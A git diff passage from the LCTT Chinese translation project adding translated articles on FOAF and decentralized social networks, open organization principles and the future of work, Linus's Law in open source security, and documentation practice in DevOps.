FOAF 文件对一个人进行了描述,他的名字叫做 Dan Brickley(该规范的作者之一),他的主页在 `http://danbri.org`,他还有个叫做“open ID”的东西,还有一张图片在 `/images/me.jpg` —— 估计是 Brickley 的主页地址的相对链接。FOAF 的元素名称都会有 `foaf:` 前缀,表示它们是 FOAF 命名空间的一部分。相应地,RDF 的元素名称前面也都会有 `rdf:`。 + +为了说明 FOAF 不限于 XML 格式,这里从维基百科摘取了一个相似的例子,格式为 JSON-LD [^5]: + +``` +{ + "@context": { + "name": "http://xmlns.com/foaf/0.1/name", + "homepage": { + "@id": "http://xmlns.com/foaf/0.1/workplaceHomepage", + "@type": "@id" + }, + "Person": "http://xmlns.com/foaf/0.1/Person" + }, + "@id": "https://me.example.com", + "@type": "Person", + "name": "John Smith", + "homepage": "https://www.example.com/" +} +``` + +上面这份 FOAF 文件也描述了一个人,他的名字叫 John Smith,他的主页在 `www.example.com`。 + +理解 FOAF 原理的最好方法可能就是体验一下 [FOAF-a-matic][10],一个在线生成 FOAF 文档的工具。你可以在工具页面的表单里输入自己的相关信息,创建表示自己的 FOAF 文档(XML 格式)。FOAF-a-matic 说明了 FOAF 是如何避免在注册不同社交网站账号时重复输入社交信息的麻烦:如果每个社交网站都可以读取 FOAF,你只需要在没有注册过帐号的网站上引用你在 FOAF-a-matic 生成的 FOAF 文档,就可以注册一个新帐号了。 + +下面这个实例是我用 FOAF-a-matic 生成的稍微复杂一些的例子,表示我自己: + +``` + + + + + + + + + Sinclair Target + Sinclair + Target + + + + + John Smith + + + + + + +``` + +本例中,主要信息之前有很多其他内容,用于设置文档使用的各种 XML 命名空间。其中就有文档生成工具的信息,这样用户就能明白出了问题要向谁进行反馈。`foaf:Person` 元素给出了我的名字、电子邮箱和主页。其中嵌套了 `foaf:knows` 元素,说明我有个叫 John Smith 的朋友。 + +该例还体现了 FOAF 文档的另外一个重要功能:相互关联。还记得之前 John Smith 的例子吗?他的主页在 `www.example.com`。在我的这个例子中,我将 John Smith 列在了 `foaf:person` 元素里,上一级元素是 `foaf:knows`,表示我认识的人。此外,我还加入了 `rdfs:seeAlso` 元素,放了 John Smith 主页的 FOAF 文档链接。由于加入了这一链接,程序在读取我的 FOAF 文档时,就能根据该链接读取他的 FOAF 文档,查找到更多关于 John Smith 的信息。在之前 John Smith 的 FOAF 文档里,John 并没有提供任何有关朋友的信息(包括我在内),这意味着程序无法确定我们两人之间的朋友关系。但如果他加入了朋友信息,程序在读取我的文档之后,不仅会发现我,也会发现 John、他的朋友、他的朋友的朋友,以此类推,直到程序穷尽我和 John 各自的社交图谱。 + +对于使用过 Facebook 的人来说这似乎很熟悉,也就是说,这个功能对你来说也应该很熟悉。FOAF 没有 `foaf:wall` 属性和 `foaf:poke` 属性,无法完美复制 Facebook 的功能。很明显,FOAF 也没有漂亮的蓝色界面,无法为用户提供可视化的 FOAF 社交网络,它只是一个词汇表。不过,Facebook 的核心功能(我认为这正是 Facebook 垄断能力的关键)在这里是以分布式的方式提供的。在 FOAF 标准下,好友可以将 FOAF 文档上传至个人主页,数字化展示他们真实的社交图谱,用户无需将个人数据的控制权交给 Facebook 这样一个中心化的数据库。要知道,由于对用户个人数据管理不当,扎克伯格大多数时间都在国会委员会前在向公众道歉。 + +### 暂时搁置的 FOAF + +浏览 FOAF 项目主页,你会发现在页面的右上角,有一张喜剧动画《飞出个未来Futurama》主角弗莱躺在休眠舱内的图片。这张图片是《飞出个未来》试播剧集的剧照,讲的是弗莱在 1999 年不小心跌进了低温休眠舱,直到 2999 年才再次苏醒过来的故事。我曾和 Brickley 在 Twitter 上简短地聊了一下,他告诉我,挂这张图片是为了告诉人们,未来 FOAF 项目目前“处于停滞状态”,尽管他希望将来有机会恢复这个项目,继续探索 21 世纪初关于网络运作方式的设想。 + +FOAF 从未像《卫报》期望的那般彻底改变社交网络。一些社交网站选择支持 FOAF 标准,比如 LiveJournal 和 MyOpera [^6]。FOAF 甚至还在 2004 年霍华德·迪恩Howard Dean竞选总统时发挥了一定作用:一群博主和程序员合力搭建起了一个将网站连接起来的网络,称其为“迪恩空间DeanSpace”,帮助迪恩竞选,并在网站上使用 FOAF 记录迪恩的支持者和帮助迪恩竞选的志愿者[^7]。不过,今天人们了解到 FOAF 主要还是因为它是 RDF 应用最为广泛的词汇表之一,而 RDF 正是现代网络的一个重要标准。如果在今天还能用到 FOAF 的话,可能就是谷歌“知识面板knowledge panels”所用技术的原型。知识面板是在用谷歌搜索时,出现在搜索结果右侧的一小块内容,会提供搜索关键词的基本信息。谷歌为推行其知识面板,使用了语义网项目的“后继者” schema.org 项目发布的词汇表[^8]。schema.org 用来描述人物的词汇表似乎有着 FOAF 的影子,两者的目的大多也是相同的。 + +那么,为什么 FOAF 还是失败了呢?为什么人们都在用 Facebook 呢?且不提 FOAF 只是一个简单的标准,没有 Facebook 那么丰富的功能,如果 FOAF 发展势头保持下去,很有可能就会出现相关软件和应用,带来像 Facebook 那样的体验。问题是,在 Facebook 还未发展到能与之分庭抗礼之时,FOAF 这股分布式社交网络的新生力量为什么没能得到广泛应用呢? + +恐怕这个问题可能没有唯一的答案,不过非要我说的话,我觉得最关键的一点是,只有在每个人都有个人网站的情况下,FOAF 才有意义。在上世纪末本世纪初,人们理所当然地觉得网络最终会出现这种情况,因为就我所知,互联网的早期用户多是高产的博客写手、参政的技术专家,他们都希望能有个自己的平台。但是,现实情况却是,普通用户并不愿意学习怎么搭建和运营网站。FOAF 允许你掌控自己的社交信息并将其推送到各类社交网络上,省去了到处注册账号的麻烦。如果你已经有了储存社交信息的个人网站,那么这个想法应该很诱人。但实际上,相比较于买域名、折腾 XML 文档,大多数人觉得填写信息、注册 Facebook 账号来得更容易些。 + +那么,这与我最初的问题(Facebook 是否属于自然垄断)有什么相关呢?我不得不承认,FOAF 的案例说明,社交网络 _的确_ 拥有自然垄断属性。 + +其实,关于用户不愿管理自己的数据这一问题,本身并没有那么重要,因为通过让普通用户在熟悉技术的用户所设置的节点上储存个人信息,[Mastodon][14] 等现代分布式社交网络已经解决了这个问题。这也表明,人们多么不愿意折腾复杂的东西。对去中心化社交网络来说,这无疑是个坏消息,因为相较于中心化网络,去中心化网络更为复杂,用户对此再清楚不过了。 + +对于 FOAF:如果我要写一个能读取个人网站上 FOAF 数据的程序,假设 Sally 的 FOAF 文档提到了 John Smith,说他的主页是 `example.com`;Sue 的 FOAF 文档也提到了 John Smith,说他的主页是 `example.net`。在这种情况下,我应该怎么办呢?到底是只有一个 John Smith 而他正好有两个主页呢,还是这两个 John Smith 是不同的人呢?如果两个 FOAF 文档中 John Smith 的邮箱都是 `johnsmith@gmail.com`,又该怎么办呢?这种身份问题是 FOAF 的软肋。在一封 2003 年的邮件里,Brickley 写道,由于不存在而且可能也不应该存在一个“全球性的身份识别系统”,FOAF 采取的方法只能是“多元的”[^9]。FOAF 用户的邮件地址和主页地址等部分属性具有特殊性,因为邮件地址和主页地址都是独一无二的。因此,这些内容不可能相同的属性可以将人们的多个 FOAF 文档合并起来(用 Libby Miller 的话来说,“挤”在一起)。不过这些特殊属性不存在所谓优先级的说法,所以前面 John Smith 的问题还是不好解决。换句话说,是该相信主页,判定他们不是同一个人呢?还是要相信邮件地址,判定他们是同一个人呢?我真的能够在不干扰到用户的前提下,写出一个程序,解决这类问题吗? + +Facebook 拥有单一的数据库,不用顾虑政治性问题,有条件创建“全球性的身份识别系统”,给每个人发行独一无二的身份 ID,于是问题就迎刃而解了。 + +如果人们真的在乎对自己数据的持有权和掌控权,单是因为复杂难解应该不足以导致分布式社交网络的失败。但是 FOAF 的失败表明,人们从未重视过对自己数据的掌控权。正如一位博主所说,“所谓‘用户想要拥有自己的数据’只不过是一个想法,和实际应用没有关系”[^10]。如果用户对控制的重视程度不足以承受额外的复杂性,如果中心化系统比去中心化系统更为简单易用,如果中心化系统有发展为封闭系统的趋向,借此取得成功,从而享受网络效应带来的巨大效益,那么社交网络确实属于自然垄断。 + +即便如此,我认为地铁系统的案例和社交网络的案例仍存在不同之处。我可以欣然接受 MTA 对地铁交通的垄断,因为我希望地铁系统本身就应该是长期垄断行业。如果纽约地铁只有一家运营商,那么它只能是政府,至少在名义上,政府比没有竞争对手的私企更加负责。但是我却不希望社交网络属于自然垄断。地铁建好了基本上就是一成不变的,但数字世界却在不断演变发展。在今天,分布式社交网络也许比中心化网络更加复杂,就好比带两张地铁卡总是比只带一张要麻烦的多。不过,在未来,互联网会发生根本性变革,那时分布式技术将会更易于使用。 + +如果未来果真如此,FOAF 可能会作为建立分布式社交网络的第一次尝试为人们记住。在企业大型数据库所驱动的中心化网络时代结束之后,分布式网络将会得到人们的长期青睐。 + +_如果你喜欢这篇文章,欢迎关注推特 [@TwoBitHistory][28],也可通过 [RSS 馈送][29] 订阅,获取更多最新文章。_ + +[^1]: 请注意,这里我没有用“消亡”一词。 +[^2]: Jack Schofield, “Let’s be Friendsters,” The Guardian, February 19, 2004, accessed January 5, 2020, .  +[^3]: Dan Brickley and Libby Miller, “Introducing FOAF,” FOAF Project, 2008, accessed January 5, 2020, .  +[^4]: 同上。 +[^5]: Wikipedia contributors, “JSON-LD,” Wikipedia: The Free Encyclopedia, December 13, 2019, accessed January 5, 2020, .  +[^6]: “Data Sources,” FOAF Project Wiki, December 11 2009, accessed January 5, 2020, .  +[^7]: Aldon Hynes, “What is Dean Space?”, Extreme Democracy, accessed January 5, 2020, .  +[^8]: “Understand how structured data works,” Google Developer Portal, accessed January 5, 2020, .  +[^9]: tef, “Why your distributed network will not work,” Progamming is Terrible, January 2, 2013, .  +[^10]: Dan Brickley, “Identifying things in FOAF,” rdfweb-dev Mailing List, July 10, 2003, accessed on January 5, 2020, .  + +-------------------------------------------------------------------------------- + +via: https://twobithistory.org/2020/01/05/foaf.html + +作者:[Two-Bit History][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twobithistory.org +[b]: https://github.com/lujun9972 +[1]: tmp.mJHAgyVHGr#fn:1 +[2]: https://en.wikipedia.org/wiki/Fediverse +[3]: https://en.wikipedia.org/wiki/Prodigy_(online_service) +[4]: https://twobithistory.org/2018/05/27/semantic-web.html +[5]: https://www.ftrain.com/google_takes_all +[6]: tmp.mJHAgyVHGr#fn:2 +[7]: tmp.mJHAgyVHGr#fn:3 +[8]: tmp.mJHAgyVHGr#fn:4 +[9]: tmp.mJHAgyVHGr#fn:5 +[10]: http://www.ldodds.com/foaf/foaf-a-matic +[11]: tmp.mJHAgyVHGr#fn:6 +[12]: tmp.mJHAgyVHGr#fn:7 +[13]: tmp.mJHAgyVHGr#fn:8 +[14]: https://en.wikipedia.org/wiki/Mastodon_(software) +[15]: tmp.mJHAgyVHGr#fn:9 +[16]: tmp.mJHAgyVHGr#fn:10 +[17]: https://twitter.com/TwoBitHistory +[18]: https://twobithistory.org/feed.xml +[19]: https://twitter.com/TwoBitHistory/status/1192196764239093760?ref_src=twsrc%5Etfw +[20]: tmp.mJHAgyVHGr#fnref:1 +[21]: tmp.mJHAgyVHGr#fnref:2 +[22]: tmp.mJHAgyVHGr#fnref:3 +[23]: tmp.mJHAgyVHGr#fnref:4 +[24]: tmp.mJHAgyVHGr#fnref:5 +[25]: tmp.mJHAgyVHGr#fnref:6 +[26]: tmp.mJHAgyVHGr#fnref:7 +[27]: tmp.mJHAgyVHGr#fnref:8 +[28]: tmp.mJHAgyVHGr#fnref:9 +[29]: tmp.mJHAgyVHGr#fnref:10 +[0]: https://img.linux.net.cn/data/attachment/album/202212/10/112053vbi9icvy6xxuv6h9.jpg \ No newline at end of file diff --git a/published/202212/20210103 How open principles will impact the future of work.md b/published/202212/20210103 How open principles will impact the future of work.md new file mode 100644 index 0000000000..3631e38bdd --- /dev/null +++ b/published/202212/20210103 How open principles will impact the future of work.md @@ -0,0 +1,96 @@ +[#]: collector: (lujun9972) +[#]: translator: (CanYellow) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15388-1.html) +[#]: subject: (How open principles will impact the future of work) +[#]: via: (https://opensource.com/open-organization/21/1/open-is-future-of-work) +[#]: author: (Ron McFarland https://opensource.com/users/ron-mcfarland) + +开放原则将如何影响未来工作 +====== + +> 在许多方面,我们的工作性质塑造了我们。那么,未来工作的性质将发生巨大变化,我们又该做何准备呢? + +![][0] + +如果我们将“工作”定位为获得某种回报的任何形式的付出,那么工作是,并且一直是,决定我们是谁的主要因素之一。工作是我们生活的一个重要方面。在工作中(不论这对我们意味着什么),我们结识朋友,我们获得智力激励和情感满足的源泉,我们得到成长,我们感受自身无穷的创造性。对于我们的家人、朋友、社区和社会而言,工作极其重要,我们不应轻视工作的重要性亦或视其为理所当然。 + +因此如果未来 [工作的性质将发生变化][2],这可能意味着恰恰是我们 _自我认知_ 中的某些关键要素将发生变化。我们应该认真准备应对这些转变。 + +考察自第一次工业革命(18、19世纪)以来的工作转变,很多人从从事农业劳动转为进入城市工厂工作,这从根本上改变了他们的生活方式。新的工作方式需要全新的、更专业的工作技能,而不再是农村经济中常见的手艺。接下来的几十年里,当我们检视我们的个人工作环境时,我们可能会发现工业时代以来的这一趋势可能发生逆转:从层级制度、可代替的通用技术与活动,重新转变为横向协作与对专业知识的熟练掌握的更高要求(回到手艺时代)。 + +不过,这一次,这些转变的到来将是全球性的而非区域性的,而且转变的速度要快的多。 + +在这一新的工作环境中,[开放组织原则][3] 将扮演关键性的角色。 + +本系列中,我将回顾 [Lynda Gratton 教授的作品《转变》][4](LCTT 译注:中译本:《转变:未来社会工作岗位需求变化及应对策略》,ISBN:9787121152894),本书成书于 2014 年(LCTT 译注:本书原版有 [2011 版][T1] 与 [2014 版][T2]),书中数据于 2010 年收集,但今天仍然适用(将来也一样)。本书中,Gratton 教授指出了工作将在 2025 到 2050 年间如何变化。这是关键信息,因为它有助于我们在准备和发展我们的职业生涯时作出正确的选择。 + +Gratton 教授阐释了在上述时间段内影响未来工作的主要因素。本系列中,我们将对它们做一个总结并解释开放组织原则如何融入它们之中。 + +### 影响未来工作的五个因素 + +煤炭与蒸汽动力的发明推动了第一次工业革命。[Gratton 教授][5] 说,今天,五种微妙的力量导致了类似的转变: + + 1. 日益增长的全球化活动 + 2. 技术的快速进步 + 3. 人类寿命与人口数量 + 4. 社会与家庭结构变化 + 5. 低碳经济的需求 + +简而言之,计算机更快了,材料更强了,药物能治疗更多的疾病使得人类的寿命更长。这些都在不同程度上影响了我们未来的工作方式。以下针对上述每一点的一些说明。 + +#### 1、全球化 + +在以前的文章 [《全球化:开放的历史》][6] 中,我讨论了全球化的多种动力与影响因素,其中之一就是贸易。从 1950 年到 2010 年的 60 年间,全球贸易量增加了 60 倍,与此同时运输成本降低了,发展中国家不仅看到了贸易增长,而且看到了新的创新。我还在我的另一篇文章 [《历史变迁中的开放组织》][7] 中讨论了历史早期的全球化。我另外在我的文章 [《全球性的开放组织是怎么样的》][8] 中探讨了从现在到未来全球治理的重要性。如 Gratton 教授所言,全球化在未来工作中将发挥不可否认与不可避免的影响。 + +> 如果未来工作的性质将发生变化,这可能意味着恰恰是我们自我认知中的某些关键要素将发生变化。我们应该认真准备应对这些转变。 + +#### 2、技术 + +计算成本一直在以惊人的速度下降,它还将继续下降。这有助于连接到目前为止仍然大部分被隔离在更大的全球经济之外的数十亿人。他们将开始进入劳动力市场并成为更有影响力的消费者。与此同时,计算机与高级自动化在未来将 [取代人类工作][9],这都将影响未来的工作转变。 + +#### 3、人口数量与寿命 + +Gratton 教授还记录了不同世代的人对未来工作的影响,尤其是在美国。年轻一代在未来将扮演主要角色,他们的态度将不同于上一代。此外,全球不同地区的出生率将影响经济繁荣。由于一些地区的人口降低而另一些的将会增加,将会出现更多的移民。他们将移民至 Gratton 教授谓之“创新集群”的地方。最后,Gratton 教授认为全球预期寿命将会变化。截至 2025 年,世界人口的 10% 将超过 65 岁,这些人口将更可能希望继续工作,以得到持续的收入、精神刺激、身体活动,与他人的联系以及生活的意义与目的的源泉。考虑到今天的很多儿童都更可能拥有超过 100 岁的寿命,如果他们在 65 岁退休,他们余下的至少 35 年里将做不了太多事情。基于这样的考虑,在未来职业道路的多次转换以及在社区与志愿服务项目中的积极参与将会大大拓展。 + +#### 4、社会 + +常规的变化之外,Gratton 教授还描述了一些社会变化。她说,未来女性在工作上的角色将会变化,人们将比以往拥有更多的选择来塑造他们希望的生活;随着个人劳动生产率的提升,平均空闲时间将比以往更多。 + +#### 5、能源 + +我在 [资源工业革命][10] 上的一篇演讲中讨论了资源节约型工业的扩张。格拉特教授为该对话补充了一些有价值的观点。她认为气候变化将逐渐成为主要议题,并导致运输与消费的降低。尤其是世界范围内的水资源供给将无法跟上用水需求。海水淡化项目将大幅扩张(可能由正在开发的 [第四代][11] 分布式小型模块化核电站提供动力)。环境灾难将使人们背井离乡,并在世界范围内形成移民社区。更多能效高的生活方式将会被发现和引入,这将影响未来工作。 + +### 为未来提前准备 + +上述五种力量将推动未来工作方式发生根本性的改变,Gratton 教授认为我们现在就需要开始为这样的未来提前做准备。本系列的下一篇文章中,我将介绍 Gratton 教授对未来的展望以及应对快速变化的未来的一些情境。个人如何将这些变化视作职业机会?另一方面,如果简单地选择对即将到来的变化 _视而不见_ 又会发生什么?我将回顾 Gratton 教授在这些问题上的思考。同样的,我也将解释开放原则如何形成必经的变革的核心。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/open-organization/21/1/open-is-future-of-work + +作者:[Ron McFarland][a] +选题:[lujun9972][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ron-mcfarland +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/team_dev_email_chat_video_work_wfm_desk_520.png?itok=6YtME4Hj (Working on a team, busy worklife) +[2]: https://opensource.com/open-organization/18/7/transformation-beyond-digital-2 +[3]: https://theopenorganization.org/definition/ +[4]: http://lyndagratton.com/books/the-shift/ +[5]: https://en.wikipedia.org/wiki/Lynda_Gratton +[6]: https://opensource.com/open-organization/20/7/globalization-history-open +[7]: https://opensource.com/open-organization/20/8/global-history-collaboration +[8]: https://opensource.com/open-organization/20/9/global-open-organization +[9]: https://opensource.com/open-organization/19/9/claiming-human-age-of-AI +[10]: https://www.slideshare.net/RonMcFarland1/the-starting-of-the-third-industrial-revolution +[11]: https://en.wikipedia.org/wiki/Generation_IV_reactor + +[T1]: https://isbnsearch.org/isbn/9780007427956 +[T2]: https://isbnsearch.org/isbn/9780007525850 +[0]: https://img.linux.net.cn/data/attachment/album/202212/28/094540cru0c2b8g2rz2ur2.jpg \ No newline at end of file diff --git a/published/202212/20210209 Understanding Linus-s Law for open source security.md b/published/202212/20210209 Understanding Linus-s Law for open source security.md new file mode 100644 index 0000000000..4ff8387172 --- /dev/null +++ b/published/202212/20210209 Understanding Linus-s Law for open source security.md @@ -0,0 +1,90 @@ +[#]: collector: (lujun9972) +[#]: translator: (CanYellow) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15344-1.html) +[#]: subject: (Understanding Linus's Law for open source security) +[#]: via: (https://opensource.com/article/21/2/open-source-security) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) + +理解开源安全中的林纳斯定律 +====== + +林纳斯定律Linus's Law即“只要有足够多的眼睛关注,任何漏洞都无处隐藏given enough eyeballs, all bugs are shallow”。那么林纳斯定律是如何应用于开源软件安全的呢? + +![][0] + +这篇文章讨论 Linux 对开源软件安全的影响。 + +开源软件的一个常被赞扬的优点是它的代码能够被任何人审查(安全专家通常称之为“代码审计”)。然而,如果你真的去问很多开源软件用户他们上一次检查代码是什么时候。你大概只能收获他们茫然的眼神或者是喃喃的低语。此外,对于一些相当大型的开源应用,有效地审查每一行代码也是困难的。 + +根据上述这些稍显不安的事实,我们不得不思考:如果没有人察看这些代码,它是开源还是闭源真的有关系吗? + +### 你应该相信开源吗? + +计算机爱好者倾向于作出认为开源软件比其他软件更加安全的传统假设。我们通常不会讨论这意味者什么:比较的基础是什么(比什么“更”安全?),或者上述结论是如何得到的。这是一个危险的陈述,因为它表明只要你将一些东西称之为“开源”,它就自动如魔法般地继承了更高的安全性。这不是开源,事实上,这正是开源安全非常反对的。 + +除非你已经亲自审计并理解了软件代码,否则就不应该假定一个应用程序是安全的。一但你做到了这一点,就可以给予它 终极信任ultimate trust。_终极信任_ 不是对计算机而言的,而是对你本人而言的,至少在这一应用程序被渗透攻击之前,你信任它是因为你选择了相信它是安全的。 + +使用者本人是唯一可以对软件代码给予终极信任的人,因此任何人想要获得这样的享受都必须亲自审查代码。相信其他人的话是不管用的。 + +在你已经亲自审计并理解了软件代码之前,你对一个应用程序给予的最大信任度是一个范围,可以是从 _根本不信任_ 到 _相当信任_ 之间。然而我们并没有一个关于信任程度的标准对照表,这是一个你必须亲自做出的个人选择。如果你已经从非常信任的人那里听说了一款应用程序是安全的,那么你可能会更信任这个软件,而不是信任那些你没有得到信任建议的东西。 + +然而,因为无法审计专有(闭源)软件代码,你不可能给予它 _终极信任_。 + +### 林纳斯定律 + +现实很骨感,并不是每个人都是程序员,同时也不是每个程序员都有时间检查数以万计的代码行。因此如果你没有亲自审查代码,你就只能选择(一定程度上)相信那些 _亲自_ 审查了代码的人。 + +那么,有哪些人会审查代码呢? + +林纳斯定律声称 _只要有足够的眼睛关注,任何漏洞都无处隐藏_,然而我们并不知道多少双眼睛是“足够”的。请不要低估这一数量,应用程序往往经过了远超你想象数量的人员审查。原始开发人员以及后续开发人员显然清楚他们自己写下的代码,不过开源软件往往都是团队成果,开源时间越长,阅读了代码的开发人员越多。新加入的开发人员也必须回顾项目代码的核心部分,因为他们必须学习基础代码以加入新的功能。 + +同时,为了使开源软件能够在 Linux 发行版上可用,负责开源软件打包分发的开发人员会加入多个项目。有时一个应用程序可能会在不熟悉项目代码的情况下打包,但是大多数时候,开源软件打包人员都是熟悉所打包的项目代码的。这不仅仅是因为他们不想在他们不信任的软件上签名,还由于他们可能不得不修改代码来使得程序能够正确编译。漏洞报告人员和漏洞修复人员一般也是熟悉代码库的,因为他们需要尝试解决小到运行异常,大到程序崩溃的问题。当然,一些漏洞报告人员不是通过亲自审查项目代码,而是通过关注明显未按预期工作的现象,无意中揭示了代码漏洞。系统管理员通常都是通晓用户依赖的重要应用软件的代码的。最后,还有一些安全研究人员,他们专门深入代码内部以揭露潜在的漏洞。 + +### 信任与透明 + +很多人先入为主的认为大型软件的审计是基本不可能的,因为它由数以万计的代码行组成。不要被软件运行所需的代码量欺骗了。我们不需要真的阅读数以万计的代码行。代码是高度结构化的,可被利用的代码漏洞仅仅只是其中的一行,不过它通常影响软件的全部功能。 + +当然,也有例外。有时仅仅一个系统调用或者链接一个有缺陷的库文件就可能引入一系列漏洞。幸运的是,多亏安全研究人员以及漏洞数据库所扮演的积极角色,这些错误相对而言是容易发现的。 + +一些人指着错误追踪系统,比如 [通用漏洞披露][2]Common Vulnerabilities and Exposures(CVE)网站,并推断开源软件显而易见是不安全的。毕竟已经向公众公开了大量的安全风险,涉及许多开源项目。但是不要被数据欺骗了。只是因为我们看不到现闭源软件的漏洞,并不意味着闭源软件中不存在漏洞。事实上,已经有很多针对闭源软件的漏洞攻击提出了,闭源软件也是存在漏洞的。区别在于开发者(以及用户)可以查看开源软件的 _所有的漏洞_ 从而降低漏洞的影响。这是扩大对开源软件信任的系统机制的一部分,却正是闭源软件软件所缺少的。 + +对于任何代码而言,可能永远没有“足够的眼睛”来发现漏洞,但是开发社区越壮大、越多样化,越有机会发现和修复代码中的缺陷。 + +### 信任与人 + +在开源社区中,参与同一项目的众多开发者已经发现“不安全”的漏洞,却保持沉默的的可能性是微乎其微的,因为人们很少同意以这样的方式合谋。我们已经看到了在应对 COVID-19 的过程中,人类的行为是如何不一致了,在这里也一样: + + * 我们都发现了漏洞(病毒)。 + * 我们知晓如何避免它传播(待在家里)。 + * 然而病毒还是在持续传播,因为总是有一个或者多个人偏离了消减疫情的计划。 + +开源软件中的漏洞也一样,如果有人发现了漏洞总会公之于众(当然,我们说的是“假如”能够发现)。 + +然而就专有软件而言,有很大可能参与项目的众多开发者即使注意到不安全的漏洞却仍然保持沉默,因为专有模式依赖于薪水。如果一个开发者将漏洞泄漏出来,他可能只是伤害了该专有软件的声誉,进而降低软件的销售额;或者,在更糟糕的情况下,他可能因此而丢了工作。开发人员拿着薪水秘密地研究软件,往往不会谈论其缺陷。如果你曾经是一名开发者,你可能曾经签署过 NDA (LCTT 译注:保密协议Non-Disclosure Agreement),也被培训过商业秘密的重要性,等等不一而足。专有软件鼓励在面对严重的秘密缺陷时保持沉默,更多时候甚至是强制要求沉默。 + +### 信任与软件 + +不要信任未经你审计的软件。 + +如果你必须相信未经你审计的软件,那么选择相信已经面向那些更有可能将软件缺陷公之于众的开发者公开代码的软件。 + +开源软件并没有比专有软件继承更高的安全性,但是修复它的系统得到了更好的规划、实施和人员配置。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/2/open-source-security + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/yearbook-haff-rx-linux-file-lead_0.png?itok=-i0NNfDC (Hand putting a Linux file folder into a drawer) +[2]: https://cve.mitre.org +[0]: https://img.linux.net.cn/data/attachment/album/202212/13/114637dg6w34suucuupucv.jpg \ No newline at end of file diff --git a/published/202212/20210330 A DevOps guide to documentation.md b/published/202212/20210330 A DevOps guide to documentation.md new file mode 100644 index 0000000000..79f11c85c2 --- /dev/null +++ b/published/202212/20210330 A DevOps guide to documentation.md @@ -0,0 +1,94 @@ +[#]: subject: "A DevOps guide to documentation" +[#]: via: "https://opensource.com/article/21/3/devops-documentation" +[#]: author: "Will Kelly https://opensource.com/users/willkelly" +[#]: collector: "lujun9972" +[#]: translator: "Veryzzj" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15349-1.html" + +文档写作的 DevOps 指南 +====== + +> 将文档写作加入到 DevOps 的生命周期中。 + +![][0] + +DevOps 正在挑战技术文档的规范,这在 IT 历史上是前所未有的。从自动化到提高交付速度,再到拆除瀑布式软件开发生命周期模型,这意味着业务和技术文档写作的理念需要做出巨大改变。 + +以下是 DevOps 对技术文档写作不同方面的影响。 + +### 技术写手的角色变化 + +技术写手必须适应 DevOps。好消息是,许多技术写手已经加入到开发团队中,并且拥有合作关系和不断增长的产品知识的技术写手很具优势。 + +但是如果一个技术写手习惯于独立工作,并依赖于领域专家的草稿作为文档的基础,那么就需要做一些调整。 + +进行一些投资,以确保文档和其他与项目有关的内容开发工作获得所需的工具、结构和支持。从改变 [技术写手聘用方式][2] 开始。以 [DevOps 的速度][3] 编写文档需要重新思考内容规划,并打破 DevOps 团队和支持项目的技术写手之间长期存在的隔阂。 + +DevOps 使开发团队摆脱了传统文档实践的束缚。首先,文档 [完成的定义][4] 必须改变。一些企业的文化使技术写手成为软件开发的被动参与者。DevOps 提出了新的要求:随着 DevOps 文化的转变,技术写手的角色也应发生变化。技术写手需要(且必须适应)DevOps 提供的透明度。他们必须融入 DevOps 团队。取决于组织如何塑造这个角色,将技术写手带入团队可能会带来技能上的挑战。 + +### 文档标准、方法和规格 + +虽然 DevOps 还没有影响到技术文档本身,但开源社区已经加强了对应用编程接口(API)文档的帮助,已经有不同规模的企业的 DevOps 团队正在使用这些文档。 + +用于记录 API 的开源规范和工具是个非常值得关注的领域。我想这是由于 [谷歌文档季][5] 的影响,它使开源软件项目能够获得专业的技术写作人才来解决他们最关键的文档项目。 + +开源 API 属于 DevOps 文档讨论的一部分。云原生应用集成需求的重要性正在上升。[OpenAPI 规范][6](一个定义和记录 API 的开放标准)是在 DevOps 环境下 API 文档的良好资源。然而,该规范会导致文档的创建和更新过程变得很费时,这使其饱受批评。 + +曾经也有短暂尝试过创建 [持续文档][7]Continuous Documentation,并且还有一个来自 CA(现在的 Broadcom)的创建 [DocOps][8] 框架的运动。然而,DocOps 从来没有作为一个行业运动流行起来。 + +DevOps 文档标准的现状意味着 DevOps 团队(包括技术写手)需要在项目的最初阶段就开始创建文档。要做到这一点,你需要把文档作为一个敏捷故事和(同样重要的)管理期望,并且把它与年度绩效评估放在一起执行。 + +### 文档工具 + +文档的编写应该以一种所有团队成员都可以使用的格式或平台在线进行。MediaWiki、DokuWiki、TikiWiki 和其他 [开源维基][9] 为 DevOps 团队提供了一个编写和维护文档的中央仓库。 + +让团队选择他们的维基平台,就像让他们选择他们的其他持续集成/持续开发(CI/CD)工具链一样。开源维基强大之处在于其可扩展性。例如,DokuWiki 包括一系列的扩展,你可以通过安装这些扩展来创建一个符合你的 DevOps 团队的创作要求的平台。 + +如果你有足够的野心来加强你的团队的编写和协作能力,[Nextcloud][10](一个开源的云协作套件)是一个让你的 DevOps 团队上网并给他们提供编写文档所需工具的选择。 + +### DevOps 最佳实践 + +文档在 DevOps 转型中也发挥着作用。例如,你会想要记录组织从 DevOps 实现效率和流程增益的最佳实践,这些信息太重要了,不能靠着 DevOps 团中之间口耳相传。如果你所在的组织有多个 DevOps 团队,那么文档就是统一的力量,它可以促进最佳实践的标准化,并设置了衡量代码质量的基准指标。 + 